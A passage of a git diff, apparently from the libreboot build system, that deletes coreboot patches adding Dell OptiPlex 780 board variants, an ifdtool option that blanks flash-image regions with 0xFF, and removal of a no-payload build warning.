b/src/mainboard/dell/optiplex_780/gma-mainboard.ads -@@ -0,0 +1,16 @@ -+-- SPDX-License-Identifier: GPL-2.0-or-later -+ -+with HW.GFX.GMA; -+with HW.GFX.GMA.Display_Probing; -+ -+use HW.GFX.GMA; -+use HW.GFX.GMA.Display_Probing; -+ -+private package GMA.Mainboard is -+ -+ ports : constant Port_List := -+ (DP2, -+ Analog, -+ others => Disabled); -+ -+end GMA.Mainboard; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt -new file mode 100644 -index 0000000000000000000000000000000000000000..fefda9d6f226b88ab67c5b044de30a707df22fbf -GIT binary patch -literal 1917 -zcmd6nO>7%Q6vzLwGv0Mv$FUpJ*ik4iQd_wnX*X`M0y3~p?8a$~>ZXxZMU`4dc9RGb -zTXq_i1Bwd~aNr{c4i)r(goF^M-nek+sY0sMa}Sk>xFFy_FTEfX^Y+7unt+OgkeJbX -zznS;`v-5V=o{ZwwmnN>gY?}>{`7^JBpP$l`EBIwbi0*k&aU)n@v)E -znI_A1T57efS5MGNN5_ut -zt=x`G)EjR#mlhURC^2!A3p33TcBg4-d8JyTiF&hfk}|a#&Dfe2%~V^}=4!QavNzBh -z0Pae^5`gfb?7Q)c(LsP)8 -zQy)2gwgG1S^>aw&0D}Z+-SCcJJF;s)yXJeQ|4N{SU?$I`#$HZa9dWBuxA$6X;VK;%W?Y>I;0P`|*vwAK$S(VB2JSq6g4n -z>oEf8XCt;_Y-iYBWz#3T9EmJ -z2x?*GPeN%?=Fj3+fv~4%I(nv~XF7VOqi5RsAt%13JtW>q=<<;0IkLPSUGL%_1h)2kjaZzuV;`43yCV;I=#Jcyyw@xKE8GGX39@am|0GKhH` -zawsKv^FvHqm+c8*FfFsu??w)Oed@;Mg~21%rCZ%d{x!>-zmv4AyWL1E -xfz+CGUnQ7Y^TD}&c_cQRYlBC+`?m?k6Nuw??s04gg4@4`<@FO{XEbO( -+ -+void mb_get_spd_map(u8 spd_map[4]) -+{ -+ // BTX form factor -+ spd_map[0] = 0x53; -+ spd_map[1] = 0x52; -+ spd_map[2] = 0x51; -+ spd_map[3] = 0x50; -+} -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c -new file mode 100644 -index 0000000000..9993f17c55 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c -@@ -0,0 +1,174 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+static const struct pch_gpio_set1 pch_gpio_set1_mode = { -+ .gpio0 = GPIO_MODE_NATIVE, -+ .gpio1 = GPIO_MODE_NATIVE, -+ .gpio2 = GPIO_MODE_GPIO, -+ .gpio3 = GPIO_MODE_GPIO, -+ .gpio4 = GPIO_MODE_GPIO, -+ .gpio5 = GPIO_MODE_GPIO, -+ .gpio6 = GPIO_MODE_GPIO, -+ .gpio7 = GPIO_MODE_NATIVE, -+ .gpio8 = GPIO_MODE_NATIVE, -+ .gpio9 = GPIO_MODE_GPIO, -+ .gpio10 = GPIO_MODE_GPIO, -+ .gpio11 = GPIO_MODE_NATIVE, -+ .gpio12 = GPIO_MODE_NATIVE, -+ .gpio13 = GPIO_MODE_GPIO, -+ .gpio14 = GPIO_MODE_GPIO, -+ .gpio15 = GPIO_MODE_NATIVE, -+ .gpio16 = GPIO_MODE_GPIO, -+ .gpio17 = GPIO_MODE_NATIVE, -+ .gpio18 = GPIO_MODE_GPIO, -+ .gpio19 = GPIO_MODE_GPIO, -+ .gpio20 = GPIO_MODE_GPIO, -+ .gpio21 = GPIO_MODE_GPIO, -+ .gpio22 = GPIO_MODE_GPIO, -+ .gpio23 = GPIO_MODE_NATIVE, -+ .gpio24 = GPIO_MODE_GPIO, -+ .gpio25 = GPIO_MODE_NATIVE, -+ .gpio26 = GPIO_MODE_NATIVE, -+ .gpio27 = GPIO_MODE_GPIO, -+ .gpio28 = GPIO_MODE_GPIO, -+ .gpio29 = GPIO_MODE_GPIO, -+ .gpio30 = GPIO_MODE_GPIO, -+ .gpio31 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_direction = { -+ .gpio2 = GPIO_DIR_INPUT, -+ .gpio3 = GPIO_DIR_INPUT, -+ .gpio4 = GPIO_DIR_INPUT, -+ .gpio5 = GPIO_DIR_INPUT, -+ .gpio6 = GPIO_DIR_INPUT, -+ .gpio9 = GPIO_DIR_OUTPUT, -+ .gpio10 = GPIO_DIR_INPUT, -+ .gpio13 = GPIO_DIR_INPUT, -+ .gpio14 = GPIO_DIR_INPUT, -+ .gpio16 = GPIO_DIR_INPUT, -+ .gpio18 = GPIO_DIR_OUTPUT, -+ .gpio19 = GPIO_DIR_INPUT, -+ .gpio20 = GPIO_DIR_OUTPUT, -+ .gpio21 = GPIO_DIR_INPUT, -+ .gpio22 = GPIO_DIR_INPUT, -+ .gpio24 = GPIO_DIR_INPUT, -+ .gpio27 = GPIO_DIR_INPUT, -+ .gpio28 = GPIO_DIR_OUTPUT, -+ .gpio29 = GPIO_DIR_INPUT, -+ .gpio30 = GPIO_DIR_INPUT, -+ .gpio31 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_level = { -+ .gpio9 = GPIO_LEVEL_HIGH, -+ .gpio18 = GPIO_LEVEL_HIGH, -+ .gpio20 = GPIO_LEVEL_HIGH, -+ .gpio28 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_blink = { -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_invert = { -+ .gpio13 = GPIO_INVERT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_mode = { -+ .gpio32 = GPIO_MODE_GPIO, -+ .gpio33 = GPIO_MODE_GPIO, -+ .gpio34 = GPIO_MODE_GPIO, -+ .gpio35 = GPIO_MODE_GPIO, -+ .gpio36 = GPIO_MODE_GPIO, -+ .gpio37 = GPIO_MODE_GPIO, -+ .gpio38 = GPIO_MODE_GPIO, -+ .gpio39 = GPIO_MODE_GPIO, -+ .gpio40 = GPIO_MODE_NATIVE, -+ .gpio41 = GPIO_MODE_NATIVE, -+ .gpio42 = GPIO_MODE_NATIVE, -+ .gpio43 = GPIO_MODE_NATIVE, -+ .gpio44 = GPIO_MODE_NATIVE, -+ .gpio45 = GPIO_MODE_NATIVE, -+ .gpio46 = GPIO_MODE_NATIVE, -+ .gpio47 = GPIO_MODE_NATIVE, -+ .gpio48 = GPIO_MODE_GPIO, -+ .gpio49 = GPIO_MODE_GPIO, -+ .gpio50 = GPIO_MODE_NATIVE, -+ .gpio51 = GPIO_MODE_NATIVE, -+ .gpio52 = GPIO_MODE_NATIVE, -+ .gpio53 = GPIO_MODE_NATIVE, -+ .gpio54 = GPIO_MODE_GPIO, -+ .gpio55 = GPIO_MODE_NATIVE, -+ .gpio56 = GPIO_MODE_GPIO, -+ .gpio57 = GPIO_MODE_GPIO, -+ .gpio58 = GPIO_MODE_NATIVE, -+ .gpio59 = GPIO_MODE_NATIVE, -+ .gpio60 = GPIO_MODE_GPIO, -+ .gpio61 = GPIO_MODE_NATIVE, -+ .gpio62 = GPIO_MODE_NATIVE, -+ .gpio63 = GPIO_MODE_NATIVE, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_direction = { -+ .gpio32 = GPIO_DIR_INPUT, -+ .gpio33 = GPIO_DIR_INPUT, -+ .gpio34 = GPIO_DIR_INPUT, -+ .gpio35 = GPIO_DIR_OUTPUT, -+ .gpio36 = GPIO_DIR_INPUT, -+ .gpio37 = GPIO_DIR_INPUT, -+ .gpio38 = GPIO_DIR_INPUT, -+ .gpio39 = GPIO_DIR_INPUT, -+ .gpio48 = GPIO_DIR_INPUT, -+ .gpio49 = GPIO_DIR_OUTPUT, -+ .gpio54 = GPIO_DIR_INPUT, -+ .gpio56 = GPIO_DIR_OUTPUT, -+ .gpio57 = GPIO_DIR_INPUT, -+ .gpio60 = GPIO_DIR_OUTPUT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_level = { -+ .gpio35 = GPIO_LEVEL_LOW, -+ .gpio49 = GPIO_LEVEL_HIGH, -+ .gpio56 = GPIO_LEVEL_HIGH, -+ .gpio60 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_mode = { -+ .gpio64 = GPIO_MODE_NATIVE, -+ .gpio65 = GPIO_MODE_NATIVE, -+ .gpio66 = GPIO_MODE_NATIVE, -+ .gpio67 = GPIO_MODE_NATIVE, -+ .gpio68 = GPIO_MODE_NATIVE, -+ .gpio69 = GPIO_MODE_NATIVE, -+ .gpio70 = GPIO_MODE_NATIVE, -+ .gpio71 = GPIO_MODE_NATIVE, -+ .gpio72 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_direction = { -+ .gpio72 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_level = { -+}; -+ -+const struct pch_gpio_map mainboard_gpio_map = { -+ .set1 = { -+ .mode = &pch_gpio_set1_mode, -+ .direction = &pch_gpio_set1_direction, -+ .level = &pch_gpio_set1_level, -+ .blink = &pch_gpio_set1_blink, -+ .invert = &pch_gpio_set1_invert, -+ }, -+ .set2 = { -+ .mode = &pch_gpio_set2_mode, -+ .direction = &pch_gpio_set2_direction, -+ .level = &pch_gpio_set2_level, -+ }, -+ .set3 = { -+ .mode = &pch_gpio_set3_mode, -+ .direction = &pch_gpio_set3_direction, -+ .level = &pch_gpio_set3_level, -+ }, -+}; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c -new file mode 100644 -index 0000000000..4158bcf899 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-or-later */ -+ -+#include -+ -+const u32 cim_verb_data[] = { -+ /* coreboot specific header */ -+ 0x11d4194a, /* Analog Devices AD1984A */ -+ 0xbfd40000, /* Subsystem ID */ -+ 10, /* Number of entries */ -+ -+ /* Pin Widget Verb Table */ -+ AZALIA_PIN_CFG(0, 0x11, 0x032140f0), -+ AZALIA_PIN_CFG(0, 0x12, 0x21214010), -+ AZALIA_PIN_CFG(0, 0x13, 0x901701f0), -+ AZALIA_PIN_CFG(0, 0x14, 0x03a190f0), -+ AZALIA_PIN_CFG(0, 0x15, 0xb7a70121), -+ AZALIA_PIN_CFG(0, 0x16, 0x9933012e), -+ AZALIA_PIN_CFG(0, 0x17, 0x97a601f0), -+ AZALIA_PIN_CFG(0, 0x1a, 0x90f301f0), -+ AZALIA_PIN_CFG(0, 0x1b, 0x014510f0), -+ AZALIA_PIN_CFG(0, 0x1c, 0x21a19020), -+}; -+ -+const u32 pc_beep_verbs[0] = {}; -+ -+AZALIA_ARRAY_SIZES; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb -new file mode 100644 -index 0000000000..555b1c1f5c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb -@@ -0,0 +1,10 @@ -+## SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device domain 0 on -+ chip southbridge/intel/i82801jx -+ device pci 1c.0 on end # PCIe 1 -+ device pci 1c.1 on end # PCIe 2 -+ end -+ end -+end --- -2.39.5 - diff --git a/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch deleted file mode 100644 index d5896fdc6..000000000 --- a/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch +++ /dev/null @@ -1,205 +0,0 @@ -From 27b2f2bc24e5e860b87119c963e534fb0d3e55f2 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Sun, 19 Feb 2023 18:21:43 +0000 -Subject: [PATCH 05/11] util/ifdtool: add --nuke flag (all 0xFF on region) - -When this option is used, the region's contents are overwritten -with all ones (0xFF). - -Example: - -./ifdtool --nuke gbe coreboot.rom -./ifdtool --nuke bios coreboot.com -./ifdtool --nuke me coreboot.com - -Rebased since the last revision update in lbmk. - -Signed-off-by: Leah Rowe ---- - util/ifdtool/ifdtool.c | 114 ++++++++++++++++++++++++++++++----------- - 1 file changed, 83 insertions(+), 31 deletions(-) - -diff --git a/util/ifdtool/ifdtool.c b/util/ifdtool/ifdtool.c -index 94105efe52..0706496af2 100644 ---- a/util/ifdtool/ifdtool.c -+++ b/util/ifdtool/ifdtool.c -@@ -2230,6 +2230,7 @@ static void print_usage(const char *name) - " tgl - Tiger Lake\n" - " wbg - Wellsburg\n" - " -S | --setpchstrap Write a PCH strap\n" -+ " -N | --nuke Overwrite the specified region with 0xFF (all ones)\n" - " -V | --newvalue The new value to write into PCH strap specified by -S\n" - " -v | --version: print the version\n" - " -h | --help: print this help\n\n" -@@ -2238,6 +2239,60 @@ static void print_usage(const char *name) - "\n"); - } - -+static int -+get_region_type_string(const char *region_type_string) -+{ -+ if (!strcasecmp("Descriptor", region_type_string)) -+ return 0; -+ else if (!strcasecmp("BIOS", region_type_string)) -+ return 1; -+ else if (!strcasecmp("ME", region_type_string)) -+ return 2; -+ else if (!strcasecmp("GbE", region_type_string)) -+ return 3; -+ else if (!strcasecmp("Platform Data", region_type_string)) -+ return 4; -+ else if (!strcasecmp("Device Exp1", region_type_string)) -+ return 5; -+ else if (!strcasecmp("Secondary BIOS", region_type_string)) -+ return 6; -+ else if (!strcasecmp("Reserved", region_type_string)) -+ return 7; -+ else if (!strcasecmp("EC", region_type_string)) -+ return 8; -+ else if (!strcasecmp("Device Exp2", region_type_string)) -+ return 9; -+ else if (!strcasecmp("IE", region_type_string)) -+ return 10; -+ else if (!strcasecmp("10GbE_0", region_type_string)) -+ return 11; -+ else if (!strcasecmp("10GbE_1", region_type_string)) -+ return 12; -+ else if (!strcasecmp("PTT", region_type_string)) -+ return 15; -+ return -1; -+} -+ -+static void -+nuke(const char *filename, char *image, int size, int region_type) -+{ -+ int i; -+ struct region region; -+ const struct frba *frba = find_frba(image, size); -+ if (!frba) -+ exit(EXIT_FAILURE); -+ -+ region = get_region(frba, region_type); -+ if (region.size > 0) { -+ for (i = region.base; i <= region.limit; i++) { -+ if ((i + 1) > (size)) -+ break; -+ image[i] = 0xFF; -+ } -+ write_image(filename, image, size); -+ } -+} -+ - int main(int argc, char *argv[]) - { - int opt, option_index = 0; -@@ -2245,6 +2300,7 @@ int main(int argc, char *argv[]) - int mode_em100 = 0, mode_locked = 0, mode_unlocked = 0, mode_validate = 0; - int mode_layout = 0, mode_newlayout = 0, mode_density = 0, mode_setstrap = 0; - int mode_read = 0, mode_altmedisable = 0, altmedisable = 0, mode_fmap_template = 0; -+ int mode_nuke = 0; - int mode_gpr0_disable = 0, mode_gpr0_enable = 0, mode_gpr0_status = 0; - char *region_type_string = NULL, *region_fname = NULL, *layout_fname = NULL; - char *new_filename = NULL; -@@ -2279,6 +2335,7 @@ int main(int argc, char *argv[]) - {"validate", 0, NULL, 't'}, - {"setpchstrap", 1, NULL, 'S'}, - {"newvalue", 1, NULL, 'V'}, -+ {"nuke", 1, NULL, 'N'}, - {0, 0, 0, 0} - }; - -@@ -2328,35 +2385,8 @@ int main(int argc, char *argv[]) - region_fname++; - // Descriptor, BIOS, ME, GbE, Platform - // valid type? -- if (!strcasecmp("Descriptor", region_type_string)) -- region_type = 0; -- else if (!strcasecmp("BIOS", region_type_string)) -- region_type = 1; -- else if (!strcasecmp("ME", region_type_string)) -- region_type = 2; -- else if (!strcasecmp("GbE", region_type_string)) -- region_type = 3; -- else if (!strcasecmp("Platform Data", region_type_string)) -- region_type = 4; -- else if (!strcasecmp("Device Exp1", region_type_string)) -- region_type = 5; -- else if (!strcasecmp("Secondary BIOS", region_type_string)) -- region_type = 6; -- else if (!strcasecmp("Reserved", region_type_string)) -- region_type = 7; -- else if (!strcasecmp("EC", region_type_string)) -- region_type = 8; -- else if (!strcasecmp("Device Exp2", region_type_string)) -- region_type = 9; -- else if (!strcasecmp("IE", region_type_string)) -- region_type = 10; -- else if (!strcasecmp("10GbE_0", region_type_string)) -- region_type = 11; -- else if (!strcasecmp("10GbE_1", region_type_string)) -- region_type = 12; -- else if (!strcasecmp("PTT", region_type_string)) -- region_type = 15; -- if (region_type == -1) { -+ if ((region_type = -+ get_region_type_string(region_type_string)) == -1) { - fprintf(stderr, "No such region type: '%s'\n\n", - region_type_string); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); -@@ -2533,6 +2563,22 @@ int main(int argc, char *argv[]) - case 't': - mode_validate = 1; - break; -+ case 'N': -+ region_type_string = strdup(optarg); -+ if (!region_type_string) { -+ fprintf(stderr, "No region specified\n"); -+ print_usage(argv[0]); -+ exit(EXIT_FAILURE); -+ } -+ if ((region_type = -+ get_region_type_string(region_type_string)) == -1) { -+ fprintf(stderr, "No such region type: '%s'\n\n", -+ region_type_string); -+ print_usage(argv[0]); -+ exit(EXIT_FAILURE); -+ } -+ mode_nuke = 1; -+ break; - case 'v': - print_version(); - exit(EXIT_SUCCESS); -@@ -2552,7 +2598,8 @@ int main(int argc, char *argv[]) - if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + - mode_setstrap + mode_newlayout + (mode_spifreq | mode_em100 | - mode_unlocked | mode_locked) + mode_altmedisable + mode_validate + -- (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) > 1) { -+ (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + -+ mode_nuke) > 1) { - fprintf(stderr, "You may not specify more than one mode.\n\n"); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); - exit(EXIT_FAILURE); -@@ -2561,7 +2608,8 @@ int main(int argc, char *argv[]) - if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + - mode_setstrap + mode_newlayout + mode_spifreq + mode_em100 + - mode_locked + mode_unlocked + mode_density + mode_altmedisable + -- mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) == 0) { -+ mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + -+ mode_nuke) == 0) { - fprintf(stderr, "You need to specify a mode.\n\n"); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); - exit(EXIT_FAILURE); -@@ -2674,6 +2722,10 @@ int main(int argc, char *argv[]) - write_image(new_filename, image, size); - } - -+ if (mode_nuke) { -+ nuke(new_filename, image, size, region_type); -+ } -+ - if (mode_altmedisable) { - struct fpsba *fpsba = find_fpsba(image, size); - struct fmsba *fmsba = find_fmsba(image, size); --- -2.39.5 - diff --git a/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch b/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch deleted file mode 100644 index 3ff127244..000000000 --- a/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch +++ /dev/null @@ -1,39 +0,0 @@ -From 8230acfb9e1f692202b306ffb10fe89f783ab4e8 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Fri, 12 May 2023 19:55:15 -0600 -Subject: [PATCH 06/11] Remove warning for coreboot images built without a - payload - -I added this in upstream to prevent people from accidentally flashing -roms without a payload resulting in a no boot situation, but in -libreboot lbmk handles the payload and thus this warning always comes -up. This has caused confusion and concern so just patch it out. ---- - payloads/Makefile.mk | 13 +------------ - 1 file changed, 1 insertion(+), 12 deletions(-) - -diff --git a/payloads/Makefile.mk b/payloads/Makefile.mk -index 5f988dac1b..516133880f 100644 ---- a/payloads/Makefile.mk -+++ b/payloads/Makefile.mk -@@ -50,16 +50,5 @@ distclean-payloads: - print-repo-info-payloads: - -$(foreach payload, $(PAYLOADS_LIST), $(MAKE) -C $(payload) print-repo-info 2>/dev/null; ) - --ifeq ($(CONFIG_PAYLOAD_NONE),y) --show_notices:: warn_no_payload --endif -- --warn_no_payload: -- printf "\n\t** WARNING **\n" -- printf "coreboot has been built without a payload. Writing\n" -- printf "a coreboot image without a payload to your board's\n" -- printf "flash chip will result in a non-booting system. You\n" -- printf "can use cbfstool to add a payload to the image.\n\n" -- - .PHONY: force-payload coreinfo nvramcui --.PHONY: clean-payloads distclean-payloads print-repo-info-payloads warn_no_payload -+.PHONY: clean-payloads distclean-payloads print-repo-info-payloads --- -2.39.5 - diff --git a/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch deleted file mode 100644 index 637b72664..000000000 --- a/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch +++ /dev/null @@ -1,326 +0,0 @@ -From 41b93b8786ba14830648cd166f86b6317d655359 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Wed, 30 Oct 2024 20:55:25 -0600 -Subject: [PATCH 07/11] mb/dell/optiplex_780: Add USFF variant - -Change-Id: I3aa21c743749f4a11a2501f4c121316bd2f1a103 -Signed-off-by: Nicholas Chin ---- - src/mainboard/dell/optiplex_780/Kconfig | 5 + - src/mainboard/dell/optiplex_780/Kconfig.name | 3 + - .../optiplex_780/variants/780_usff/data.vbt | Bin 0 -> 1917 bytes - .../variants/780_usff/early_init.c | 9 + - .../optiplex_780/variants/780_usff/gpio.c | 166 ++++++++++++++++++ - .../optiplex_780/variants/780_usff/hda_verb.c | 26 +++ - .../variants/780_usff/overridetree.cb | 10 ++ - 7 files changed, 219 insertions(+) - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb - -diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig -index 2d06c75c9a..fc649e35d5 100644 ---- a/src/mainboard/dell/optiplex_780/Kconfig -+++ b/src/mainboard/dell/optiplex_780/Kconfig -@@ -20,6 +20,9 @@ config BOARD_DELL_OPTIPLEX_780_COMMON - config BOARD_DELL_OPTIPLEX_780_MT - select BOARD_DELL_OPTIPLEX_780_COMMON - -+config BOARD_DELL_OPTIPLEX_780_USFF -+ select BOARD_DELL_OPTIPLEX_780_COMMON -+ - if BOARD_DELL_OPTIPLEX_780_COMMON - - config VGA_BIOS_ID -@@ -30,11 +33,13 @@ config MAINBOARD_DIR - - config MAINBOARD_PART_NUMBER - default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT -+ default "OptiPlex 780 USFF" if BOARD_DELL_OPTIPLEX_780_USFF - - config OVERRIDE_DEVICETREE - default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" - - config VARIANT_DIR - default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT -+ default "780_usff" if BOARD_DELL_OPTIPLEX_780_USFF - - endif # BOARD_DELL_OPTIPLEX_780_COMMON -diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name -index db7f2e8fe3..bc84c82a79 100644 ---- a/src/mainboard/dell/optiplex_780/Kconfig.name -+++ b/src/mainboard/dell/optiplex_780/Kconfig.name -@@ -2,3 +2,6 @@ - - config BOARD_DELL_OPTIPLEX_780_MT - bool "OptiPlex 780 MT" -+ -+config BOARD_DELL_OPTIPLEX_780_USFF -+ bool "OptiPlex 780 USFF" -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt -new file mode 100644 -index 0000000000000000000000000000000000000000..dbd764f285ed18f7ee9c54bc777560138bd9b5f7 -GIT binary patch -literal 1917 -zcmd6nO>7%Q6vzLwGv3{}j$^l`v7@w1q*9sEq+2(b3K>`@c5#TSx@iP+W+B10OwbsGtX=N(gc4jSGjKDkP+yIUo^nsel8$^ny^9H?td8Ra=EiCEn=G -z@6DV4?!2AdojnUv^Rirgvs$heXUkGs9S+{Jc2WPhP0buTak^BTFP@&N9-E$(UtuSX -zS{r`=b+EX|Ig`2a*^5oDdG>8jE-1BBxs`*jgrf_sj_fP;%L|PwURRcCFBMCroNRQv -zmp$2TUhc}qJMB(u#jDG@x6(N85thC4%Z=8hiN}lj&zb2~``u3C;?lCrPQOTnInFqB -zhvdwqWv?lxTb=fVEH;~RPHDPw&g*&|s$pU7!7x2mLBtAF!g>K`zPnkx!DpPHuk6{_zc*0qi7)Aet$T -z1ks@8hWS#+6cI5)j1oD86{5PX8Zu2(^OC6M`xo)V)Ow=U6P12c -z=U0uNC9T9v{)-|#h(mSX*hSA8)ZeocL7l4J&!{RSO{6~oTtyn535j!RQh#GA*wTF8 -zvasRbO~d!?*FbM3K`W?lHx=v*(jiARIhWyh4^io|;n?@1H>uqJy>0sjV-Dt)_=%bE -zgNO3D@uE5m+7aqi?Y8b+inye%Z=HUmgBtaZ3Lc%OLt+bo+)5BjVwT<{mxT`nde$vb -zV99s{>`r76L#Hr6XW6r|>HT47I`**Q#Vu0QW!^VP-9S{xXzpq_zS#9k-;aXz?b+S!Ne$Kkk6dq&Hj-x+kx1W-4#E&beDT*S)=&NoSE?<-w!G@~aW()0ZN4O&=Q+nZa)p%Vd$k-_$a= -T#w3FFBiyj -+ -+void mb_get_spd_map(u8 spd_map[4]) -+{ -+ spd_map[0] = 0x50; -+ spd_map[2] = 0x52; -+} -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c -new file mode 100644 -index 0000000000..389f4077d7 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c -@@ -0,0 +1,166 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+static const struct pch_gpio_set1 pch_gpio_set1_mode = { -+ .gpio0 = GPIO_MODE_NATIVE, -+ .gpio1 = GPIO_MODE_NATIVE, -+ .gpio2 = GPIO_MODE_GPIO, -+ .gpio3 = GPIO_MODE_GPIO, -+ .gpio4 = GPIO_MODE_GPIO, -+ .gpio5 = GPIO_MODE_GPIO, -+ .gpio6 = GPIO_MODE_GPIO, -+ .gpio7 = GPIO_MODE_NATIVE, -+ .gpio8 = GPIO_MODE_NATIVE, -+ .gpio9 = GPIO_MODE_GPIO, -+ .gpio10 = GPIO_MODE_GPIO, -+ .gpio11 = GPIO_MODE_NATIVE, -+ .gpio12 = GPIO_MODE_NATIVE, -+ .gpio13 = GPIO_MODE_GPIO, -+ .gpio14 = GPIO_MODE_GPIO, -+ .gpio15 = GPIO_MODE_NATIVE, -+ .gpio16 = GPIO_MODE_GPIO, -+ .gpio17 = GPIO_MODE_NATIVE, -+ .gpio18 = GPIO_MODE_GPIO, -+ .gpio19 = GPIO_MODE_GPIO, -+ .gpio20 = GPIO_MODE_GPIO, -+ .gpio21 = GPIO_MODE_GPIO, -+ .gpio22 = GPIO_MODE_GPIO, -+ .gpio23 = GPIO_MODE_NATIVE, -+ .gpio24 = GPIO_MODE_GPIO, -+ .gpio25 = GPIO_MODE_NATIVE, -+ .gpio26 = GPIO_MODE_NATIVE, -+ .gpio27 = GPIO_MODE_GPIO, -+ .gpio28 = GPIO_MODE_GPIO, -+ .gpio29 = GPIO_MODE_GPIO, -+ .gpio30 = GPIO_MODE_GPIO, -+ .gpio31 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_direction = { -+ .gpio2 = GPIO_DIR_INPUT, -+ .gpio3 = GPIO_DIR_INPUT, -+ .gpio4 = GPIO_DIR_INPUT, -+ .gpio5 = GPIO_DIR_INPUT, -+ .gpio6 = GPIO_DIR_INPUT, -+ .gpio9 = GPIO_DIR_OUTPUT, -+ .gpio10 = GPIO_DIR_INPUT, -+ .gpio13 = GPIO_DIR_INPUT, -+ .gpio14 = GPIO_DIR_INPUT, -+ .gpio16 = GPIO_DIR_INPUT, -+ .gpio18 = GPIO_DIR_OUTPUT, -+ .gpio19 = GPIO_DIR_INPUT, -+ .gpio20 = GPIO_DIR_OUTPUT, -+ .gpio21 = GPIO_DIR_INPUT, -+ .gpio22 = GPIO_DIR_INPUT, -+ .gpio24 = GPIO_DIR_INPUT, -+ .gpio27 = GPIO_DIR_INPUT, -+ .gpio28 = GPIO_DIR_OUTPUT, -+ .gpio29 = GPIO_DIR_INPUT, -+ .gpio30 = GPIO_DIR_INPUT, -+ .gpio31 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_level = { -+ .gpio9 = GPIO_LEVEL_HIGH, -+ .gpio18 = GPIO_LEVEL_HIGH, -+ .gpio20 = GPIO_LEVEL_HIGH, -+ .gpio28 = GPIO_LEVEL_HIGH, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_blink = { -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_invert = { -+ .gpio13 = GPIO_INVERT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_mode = { -+ .gpio32 = GPIO_MODE_GPIO, -+ .gpio33 = GPIO_MODE_GPIO, -+ .gpio34 = GPIO_MODE_GPIO, -+ .gpio35 = 